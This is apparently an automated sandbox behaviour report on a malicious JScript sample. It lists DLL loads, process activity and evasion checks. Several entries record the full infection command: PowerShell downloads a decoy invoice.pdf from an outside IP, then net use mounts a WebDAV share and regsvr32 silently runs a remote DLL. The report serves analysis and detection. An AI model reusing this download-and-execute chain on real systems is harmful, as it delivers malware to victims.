Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1646.js.csv");ITextStream.WriteLine(" entry:8011 f:nnbzdx");ITextStream.WriteLine(" exec:2 f:nnbzdx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4399			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5395			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4440	Thread sleep count: 4399 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4440	Thread sleep count: 5395 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2720	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6528	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4368	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2256954547.000002B0BF0C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: net.exe, 00000007.00000002.2256954547.000002B0BF0C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2256954547.000002B0BF070000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3463115933.000001ECDA82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3464555274.000001ECDFE59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
